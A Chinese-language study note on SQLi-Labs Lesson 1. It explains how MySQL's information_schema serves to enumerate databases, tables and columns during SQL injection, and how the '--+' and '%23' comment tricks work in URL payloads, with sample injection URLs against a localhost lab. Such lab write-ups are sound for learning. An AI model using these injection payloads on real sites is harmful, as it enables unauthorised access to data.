网络安全相关方面,以SQLDUMB 为实践,此篇是关于lesson 1中自身知识匮乏的记录
本文从以下两个方面阐述
- Mysql 中 information_schema 库
- Mysql 中 注释符 '--' 以及 '#' 的采坑
Mysql 中 information_schema 库
在此只对注入过程中用到的方面进行记录
information_schema数据库是MySQL系统自带的数据库,它提供了数据库元数据的访问方式。记录了数据库当中字符集,权限相关,数据库实体对象信息,外检约束,分区,压缩表,表信息,索引信息,参数,优化,锁和事物等。
SQL注入中,可利用该表可以进行一次完整的注入。
- 猜数据库
SELECT schema_name FROM information_schema.schemata
- 猜某库的数据表
SELECT table_name FROM information_schema.tables WHERE table_schema='xxxxx'
- 猜某表的所有列
SELECT column_name FROM information_schema.columns WHERE table_name='xxxxx'
- 获取某列的内容
SELECT *** FROM ****
注释符 '--' 以及 '#' 的采坑
一. 在数据库中,尝试‘--’注释符
- 代码如下:
select * from users where id = '1' order by 3 --' limit 0,1
- 代码如下:
- 查询结果失败,注释语句出现问题: -- 查询语句失败.png
- 修改上述sql语句,代码如下:
select * from users where id = '1' order by 3 -- ' limit 0,1
- 修改上述sql语句,代码如下:
- 查询成功: -- 注释查询成功.png
- 进行SQL注入,修改url,代码如下:
http://localhost/sql/Less-1/?id=1' order by 3 --+
- 进行SQL注入,修改url,代码如下:
- 查询结果如图所示: 代入 '--+' 注释符到Url.png
- 作为对比,查询不带 '+' 的语句,结果如下,抛出异常: 不代入 '--+' 注释符到Url.png
总结:HTTP请求中, [+] 被自动识别为[空格] 符,从而满足sql带注释的语句语
上述 [+]可同样用url 中代表空格的编码 [%20]代替
二. 在数据库中,尝试‘#’注释符
- 代码如下:
select * from users where id = '1' order by 3 #' limit 0,1
- 代码如下:
- 查询结果如图所示,数据库中可查询到数据,说明语句没有问题: 带有 '#' 注释符的查询.png
- 进行SQL注入,修改url,代码如下:
http://localhost/sql/Less-1/?id=1' order by 3 #
- 进行SQL注入,修改url,代码如下:
- 查询结果如图所示, 代入 '#' 注释符到Url.png
- 根据上图可查看到,传入的参数为 1' order by 3,并没有像类似数据库中的查询语句,将 注释,从而导致语句查询失败
- 将 '#' 号改成url的编码%23,代码如下:
http://localhost/sql/Less-1/?id=1' order by 3 #
- 将 '#' 号改成url的编码%23,代码如下:
- 查询结果如下图: 修改‘#’为%23.png
总结:HTTP请求中不包括#,url中#号是用来指导浏览器动作的在服务器端无响应
以上便是对Lesson 1 中个人知识的一些补充
网友评论